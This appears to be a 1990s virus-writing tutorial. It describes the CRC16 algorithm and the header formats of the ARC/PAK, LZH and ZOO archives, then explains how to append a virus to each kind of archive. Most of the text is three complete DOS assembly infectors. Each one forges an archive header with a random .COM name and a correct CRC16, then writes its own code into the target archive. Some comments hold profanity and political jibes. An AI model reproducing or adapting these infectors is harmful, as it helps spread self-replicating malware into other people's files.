Dropping over old archives
A view on the past , LZH , ARC/PAK , ZOO , CRC16

Intro

Long time ago when zip rar & arj weren't too much used, there were some more known archives because they imposed themseves on the amiga or the atari scene. Those formats are totally forgotten now , but I found it interesting to study them in the Archive infector series , so Enjoy!

The CRC16

What's the CRC16 , the same thing than the CRC32 but smaller and using a 512 bytes table zone , see its code

    rendertable:

    mov bx,0a001h
    mov di,offset starttable                        ; render 512 bytes in di
    xor dx,dx

    crc_jnz:

    mov ax,dx                                       ; calculations ...
    mov cx,8

    crc16_loop:

    shr ax,1
    jae crc16_ja                                    ; anomality to complexify
    xor ax,bx                                       ; the table

    crc16_ja:       loop crc16_loop                 ; do it 8 times

    stosw                                           ; put a word
    inc dl                                          ; do it 256 times
    jnz crc_jnz                                     ; go for it!

    ret

When you have done that you done the CRC calculation, the scheme is the same than in CRC_16 file , so si = offset of start CRC calc & cx = number of thoz

    crc_calc16:

    push bx                                                 ; save handle
    push cx
    call rendertable                                        ; build the table

    pop cx
    cld
    xor ax,ax
    xor bx,bx                                               ; reset ax , bx

    render_loop:
    lodsb                                                   ; get byte ds:si
    xor bl,al                                               ; render it
    mov al,bh
    mov bh,ah
    shl bx,1
    mov bx,word ptr [bx+starttable]                         ; include here the
    xor bx,ax                                               ; table
    loop render_loop

    xchg bx,dx                                              ; push crc result
                                                            ; into dx
    pop bx

    ret

The ARC format

NB: Arc are know as ARC/PAK extension , this two means the same thing NB II: (I give a big thanks to Raymond Clay from whom I take his ARC description here )

    OFFSET LABEL       TYP  VALUE        DESCRIPTION
    ------ ----------- ---- ----------- ----------------------------------
    00     ARCID       DB   $1A
    01     ARCMTD      DB   00          ;Method

            value:  0 = end of archive              8 = crunched after packin LZW
                    1-2 = unused/unpacked           9 = squashed
                    3 = rle encoding                10 = crushed
                    4 = squezzed                    11 = distilled
                    5 = crunched                    12-19 : unknown
                    6 = packing + crunched          40 = reserved
                    7 = packing/crunched with algo

    02     ARCFNT      DS   12          ;filename
    0E                 DB   00
    0F     ARCNSZ      HEX  00000000    ;Compressed size
    13     ARCDAT      DW   0000        ;File date (MSDOS)
    15     ARCTIM      DW   0000        ;File time (MSDOS)
    17     ARCCRC      DW   0000
    19     ARCOSZ      HEX  00000000    ;Uncompressed size

ARC Infection

Erm , a precision first , there's a little packet at the end of the ARC file you must preserve , some ARC file have it , other not , two are good but you can't drop over a file who have a last packet ,then you must detect the last packet , at all arc/pak file , it was at the end-12 of the file , then you can easily save it somewhere ( those I have seen )

            1ø Go to the end-256
            2ø Read 256 and scan for dead packet
            3ø Save dead packet and write header at this offset
            4ø Write the header
            5ø Write virus
            6ø Close the file

The LZH format

NB (I give a big thanks to Raymond Clay from whom I take his LZH description here )

    OFFSET LABEL       TYP  VALUE        DESCRIPTION
    ------ ----------- ---- ----------- ----------------------------------
    00     LZHHSZ      DB   0           ;Header size
    01     LZHCKS      DB   0           ;Cksum of remaining bytes
    02     LZHMTD      ASC  '-lh0-'     ;Method
    07     LZHNSZ      HEX  00000000    ;Compressed size
    0B     LZHOSZ      HEX  00000000    ;Uncompressed size
    0F     LZHTIM      DW   0000        ;File time (MSDOS)
    11     LZHDAT      DW   0000        ;File date (MSDOS)
    13     LZHATR      DW   0000        ;File attribute
    15     LZHFNL      DB   00          ;filename/path length
    16     LZHFNT      DS   LZHFNL      ;filename/path
    2B     LZHCRC      DW   0000        ;CRC-16

LZH infection

NB: There's some crappy code at the end of the virus , I don't know what's that and in some archives it doesn't exist , anyway I wrote something to detect it then no problemo

Go to the end , drop an header , drop the virus , and it's finished!

The ZOO format

NB (I give a big thanks to Raymond Clay from whom I take his ZOO description here )

There are two parts, the first 20 bytes of the file are crappy code , good to put a a virus mark etc etc , zoo is a well good locked archive because offset goes header by header , but don't panick for our virus , the last header point to a kinda death packet, we just have to find it and rewrite the header and the virus

    OFFSET LABEL       TYP  VALUE        DESCRIPTION
    ------ ----------- ---- ----------- ----------------------------------
    00                 DS   20
    14     ZOOSIG      HEX  A7DCFDC4    ;File signature
    18     ZOO1PTR     HEX  00000000    ;pointer to 1st header
    1C     ZOO?        HEX  00000000    ;?
    20     ZOOMVER     DB   00          ;version making archive
    21     ZOOMIN      DB   00          ;minimum version needed to extract

    FILE HEADER
    -----------

    OFFSET LABEL       TYP  VALUE        DESCRIPTION
    ------ ----------- ---- ----------- ----------------------------------
    00     ZOOFSIG     HEX  A7DCFDC4    ;signature
    04     ZOOFTYP     DB   00          ;?
    06     ZOOFCMP     DB   00          ;Compression method

            value: 0 = Stored
                   1 = Crunched

    08     ZOOFNXH     HEX  00000000    ;Nxt hdr ofst frm Start of ZOO file
    0A     ZOOFCUR     HEX  00000000    ;Offset of this hdr
    0E     ZOOFDAT     DW   0000        ;Last mod file date (MS-DOS)
    10     ZOOFTIM     DW   0000        ;Last mod file time (MS-DOS)
    12     ZOOFCRC     DW   0000        ;CRC-16
    14     ZOOFOSZ     HEX  00000000    ;Uncompressed size
    18     ZOOFNSZ     HEX  00000000    ;Compressed size
    1C     ZOOFMVER    DB   00          ;version that made this file
    1D     ZOOFMIN     DB   00          ;minimum version needed to extract
    1E     Z00FDEL     DB   00          ;1 if file deleted from archive
    1F     ZOOFCMTP    HEX  00000000    ;pointer to comment, 0 if none
    23     ZOOFCMTL    DW   0000        ;length of comment
    25     ZOOFNAM     DS   13          ;filename

ZOO infection

Go to the end , search the death packet , build & drop an header , drop the virus , and it's finish!

Here's those code , any suggestion is welcome

    - ARC INFECTOR ( test it with the appropried name file ) - - - - - - - - - -

    .model tiny
    .code
    .286

    org 100h

    start:

    mov ax,3d02h                                    ; open file
    mov dx,offset name1
    int 21h
    xchg ax,bx

    mov ah,3fh                                      ; read first 256 bytes
    mov cx,256
    mov dx,offset temporary1
    int 21h

    cmp byte ptr [temporary1],1Ah                   ; test it if ARC archive
    jne ARC_invalid

    call ARC_header                                 ; build an header

    mov al,02
    call go

    sub ax,12
    sbb dx,0

    push ax
    push dx
    push ax
    push dx

    pop cx
    pop dx
    xor ax,ax
    call gozero                                     ; go to the end-12

    mov ah,3fh
    mov cx,12
    mov dx,offset betaname
    int 21h                                         ; read 12 bytes

    cmp byte ptr [betaname],01ah                    ; test for death header mark
    jne Arc_invalid

    pop cx
    pop dx

    xor ax,ax
    call gozero

    mov ah,40h
    mov cx,1dh
    mov dx,offset temporary1
    int 21h                                         ; write our header

    mov ah,40h
    mov cx,fin-start
    mov dx,offset start
    int 21h                                         ; write our virus

    mov ah,40h
    mov cx,12
    mov dx,offset betaname
    int 21h                                         ; write our death header

    ARC_invalid:

    mov ah,3Eh                                      ; close the file
    int 21h

    ret

    ARC_header:

    mov bp,offset [temporary1]
    mov byte ptr [bp+1],2                           ; method = 2 no compression

    call set_a_name
    lea di,[bp+2]
    mov si,offset betaname
    repz movsb

    mov word ptr [bp+0fh],fin-start
    mov word ptr [bp+0fh+2],0
    mov word ptr [bp+19h],fin-start
    mov word ptr [bp+19h+2],0

    mov si,offset start
    mov cx,fin-start

    call crc_calc16

    mov word ptr [bp+17h],dx

    ret

    set_a_name:                                             ; set a random name

    mov ah,2Ch
    int 21h

    and cx,0000111100001111b
    and dx,0000111100001111b

    add cx,4141h
    add dx,4141h
    mov word ptr [betaname],cx
    mov word ptr [betaname+2],dx
    mov word ptr [betaname+4],'C.'
    mov word ptr [betaname+6],'MO'
    mov word ptr [betaname+8],0

    mov cx,9

    ret

    go:

    xor cx,cx
    xor dx,dx

    gozero:
    mov ah,42h
    int 21h

    ret

    crc_calc16:                                             ; render crc of ds:si

    push bx
    push cx
    call rendertable
    pop cx
    cld
    xor ax,ax
    xor bx,bx

    render_loop:
    lodsb
    xor bl,al
    mov al,bh
    mov bh,ah
    shl bx,1
    mov bx,word ptr [bx+starttable]
    xor bx,ax
    loop render_loop

    xchg bx,dx

    pop bx

    ret

    rendertable:

    mov bx,0a001h
    mov di,offset starttable
    xor dx,dx
    crc_jnz:
    mov ax,dx
    mov cx,8

    crc16_loop:

    shr ax,1
    jae crc16_ja
    xor ax,bx

    crc16_ja:       loop crc16_loop

    stosw
    inc dl
    jnz crc_jnz

    ret

    name1:  db 'yeye.pak',0

    fin:

    betaname:       db 13 dup (?)

    starttable:     db 1024 dup (?)

                    db 2 dup (?)

    temporary1:     db 256 dup (?)

    end start

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

    - ZOO INFECTOR ( test it with the appropried name file )- - - - - - - - - -

    .model tiny
    .code
    .286

    org 100h

    start:

    mov ax,3d02h                                            ; open file
    mov dx,offset name1
    int 21h
    xchg ax,bx

    mov ah,3fh                                              ; read 256 bytes
    mov cx,256
    mov dx,offset temporary1
    int 21h

    mov si,offset temporary1
    add si,word ptr [temporary1+18h]
    cmp word ptr [si],0A7DCh                                ; test zoo integrity
    jne invalid_zoo

    call zoo_header                                         ; rebuild zoo header

    mov al,2
    call go                                                 ; go to the end-96

    push ax
    push dx

    sub ax,96
    sbb cx,0

    push dx
    push ax
    pop dx
    pop cx

    xor ax,ax
    call gozero

    mov ah,3fh                                              ; read 96 bytes
    mov cx,96
    mov dx,offset temporary1+256
    int 21h

    mov si,offset temporary1+256+96

    zoo_scan:

    cmp word ptr [si],0FDC4h                                ; test for last packet
    je test_signature                                       ; signature
    Zoo_continue:

    dec si
    dec cx
    jnz zoo_scan                                            ; not found ?

    pop dx
    pop ax

    invalid_zoo:                                            ; then close the file

    mov ah,3Eh
    int 21h

    ret

    test_signature:

    cmp word ptr [si-2],0A7DCh                              ; test the file
    jne zoo_continue

    mov bp,96                                               ; set location
    sub bp,cx                                               ; for bp
    add bp,2

    pop cx
    pop dx

    sub dx,bp
    sbb cx,0

    push cx
    push dx

    add dx,26h+13+15
    adc cx,0

    mov word ptr [di+10],dx                                 ; offset of this
    mov word ptr [di+10+2],cx                               ; header

    add dx,fin-start
    adc cx,0

    mov word ptr [di+6],dx                                  ; offset of the next
    mov word ptr [di+6+2],cx                                ; header

    pop dx
    pop cx

    xor ax,ax
    call gozero                                     ; go at the beginning

    push ax
    push dx

    mov cx,bp
    mov ah,3fh                                      ; read 256 bytes
    mov dx,offset temporary1+256
    int 21h

    pop cx
    pop dx

    xor ax,ax                                       ; go to the beginning
    call gozero

    mov ah,40h                                      ; write our header
    mov cx,26h+13+15
    mov dx,offset temporary1
    add dx,word ptr [temporary1+18h]
    int 21h

    mov ah,40h                                      ; write our virus
    mov cx,fin-start
    mov dx,offset start
    int 21h

    mov ah,40h                                      ; write the last packet
    mov cx,bp
    mov dx,offset temporary1+256
    int 21h

    jmp invalid_zoo

    zoo_header:

    mov bp,si
    mov byte ptr [bp+5],00

    push bp

    mov si,offset start
    mov cx,fin-start

    call crc_calc16                                         ; get crc16 of the
                                                            ; virus
    pop bp

    mov word ptr [bp+12h],dx                                ; save it at 12H

    mov word ptr [bp+1Fh],0                                 ; set no comment
    mov word ptr [bp+1Fh+2],0                               ;
    mov word ptr [bp+1Fh+4],0                               ; and no length comment

    mov word ptr [bp+14h],fin-start                         ; compressed &
    mov word ptr [bp+14h+2],0                               ; uncompressed size

    mov word ptr [bp+18h],fin-start
    mov word ptr [bp+18h+2],0

    call set_a_name                                         ; render a new name

    mov si,offset betaname                                  ; put it into the
    lea di,[bp+26h]                                         ; header

    repz movsb

    mov di,bp

    ret

    set_a_name:                                             ; dunno for kitchen ?

    mov ah,2Ch
    int 21h

    and cx,0000111100001111b
    and dx,0000111100001111b

    add cx,4141h
    add dx,4141h
    mov word ptr [betaname],cx
    mov word ptr [betaname+2],dx
    mov word ptr [betaname+4],'C.'
    mov word ptr [betaname+6],'MO'
    mov word ptr [betaname+8],0

    mov cx,9

    ret

    go:                                             ; Anti MS newbies piss off

    xor cx,cx
    xor dx,dx

    gozero:
    mov ah,42h
    int 21h

    ret

    crc_calc16:                                     ; Hey , politicaly incorrect
                                                    ; -> fuck you usa
    push bx
    push cx
    call rendertable
    pop cx
    cld
    xor ax,ax
    xor bx,bx

    render_loop:
    lodsb
    xor bl,al
    mov al,bh
    mov bh,ah
    shl bx,1
    mov bx,word ptr [bx+starttable]
    xor bx,ax
    loop render_loop

    xchg bx,dx

    pop bx

    ret

    rendertable:

    mov bx,0a001h
    mov di,offset starttable
    xor dx,dx
    crc_jnz:
    mov ax,dx
    mov cx,8

    crc16_loop:

    shr ax,1
    jae crc16_ja
    xor ax,bx

    crc16_ja:       loop crc16_loop

    stosw
    inc dl
    jnz crc_jnz

    ret

    name1:  db 'yeye.zoo',0

    fin:

    betaname:       db 13 dup (?)

    starttable:     db 1024 dup (?)

                    db 2 dup (?)

    temporary1:     db 256 dup (?)

    end start

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

    - LZH INFECTOR ( test it with the appropried name file )- - - - - - - - - -

    .model tiny
    .code
    .286

    org 100h

    start:

    mov ax,3d02h                                            ; open filename
    mov dx,offset name1
    int 21h
    xchg ax,bx

    mov ah,3fh                                              ; viva checkevara
    mov cx,256
    mov dx,offset temporary1
    int 21h

    cmp word ptr [temporary1+2],'l-'                        ; testlzh integrity
    jne LZH_invalid

    call LZH_header                                         ; build lzh header

    mov al,02
    call go                                                 ; go to the end-7

    sub ax,7
    sbb dx,0

    push ax
    push dx
    push ax
    push dx

    pop cx
    pop dx
    xor ax,ax
    call gozero

    mov ah,3fh                                              ; read 7 bytes
    mov cx,7
    push cx
    mov dx,offset betaname
    push dx
    int 21h

    pop bp
    pop cx
    add bp,7

    testforzero:                                            ; test for a death
    cmp byte ptr [bp],0                                     ; crappy packet
    je continue
    dec bp
    dec cx
    jnz testforzero

    jmp LZH_invalid

    continue:                                               ;

    mov bp,cx

    pop ax
    pop dx
    add dx,cx
    xchg ax,cx

    xor ax,ax
    call gozero                                             ; go to the end

    mov ah,40h
    mov cx,2
    add cl,byte ptr [temporary1]
    mov dx,offset temporary1
    int 21h                                                 ; write the header

    mov ah,40h
    mov cx,fin-start
    mov dx,offset start
    int 21h                                                 ; write the virus

    mov ah,40h
    mov cx,7
    sub cx,bp
    mov dx,offset betaname
    add dx,bp
    int 21h                                                 ; write the betapacket

    LZH_invalid:

    mov ah,3Eh                                              ; close and return
    int 21h

    ret

    LZH_header:

    mov bp,offset [temporary1]

    mov byte ptr [bp+5],'0'                         ; set no compression

    mov word ptr [bp+7],fin-start                   ; set compressed & uncomprss
    mov word ptr [bp+7+2],0                         ; size
    mov word ptr [bp+7+4],fin-start
    mov word ptr [bp+7+4+2],0

    call set_a_name                                 ; generate a name
    dec cx

    mov byte ptr [bp+15h],cl

    mov di,bp
    add di,16h
    mov si,offset betaname

    repz movsb                                      ; copy it

    push di
    push bp

    mov si,offset start
    mov cx,fin-start
    call crc_calc16                                 ; get crc of the virus

    pop bp
    pop di

    mov word ptr [di],dx

    sub di,bp
    mov cx,di

    mov byte ptr [bp],cl                            ; then now , make the
                                                    ; checksum of the header
    lea si,[bp+2]

    xor ax,ax

    LZH_loop1:
    add ah,byte ptr [si]
    inc si
    dec di
    jnz LZH_loop1

    mov byte ptr [bp+1],ah

    ret

    set_a_name:                                     ; generate a name

    mov ah,2Ch
    int 21h

    and cx,0000111100001111b
    and dx,0000111100001111b

    add cx,4141h
    add dx,4141h
    mov word ptr [betaname],cx
    mov word ptr [betaname+2],dx
    mov word ptr [betaname+4],'C.'
    mov word ptr [betaname+6],'MO'
    mov word ptr [betaname+8],0

    mov cx,9

    ret

    go:                                             ; don't wrote virus for
                                                    ; glory
    xor cx,cx                                       ; money
    xor dx,dx                                       ; army
                                                    ; in this case you'll survive
    gozero:
    mov ah,42h
    int 21h

    ret

    crc_calc16:

    push bx
    push cx
    call rendertable
    pop cx
    cld
    xor ax,ax
    xor bx,bx

    render_loop:
    lodsb
    xor bl,al
    mov al,bh
    mov bh,ah
    shl bx,1
    mov bx,word ptr [bx+starttable]
    xor bx,ax
    loop render_loop

    xchg bx,dx

    pop bx

    ret

    rendertable:

    mov bx,0a001h
    mov di,offset starttable
    xor dx,dx
    crc_jnz:
    mov ax,dx
    mov cx,8

    crc16_loop:

    shr ax,1
    jae crc16_ja
    xor ax,bx

    crc16_ja:       loop crc16_loop

    stosw
    inc dl
    jnz crc_jnz

    ret

    name1:  db 'yeye.lzh',0

    fin:

    betaname:       db 13 dup (?)

    starttable:     db 1024 dup (?)

                    db 2 dup (?)

    temporary1:     db 256 dup (?)

    end start

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -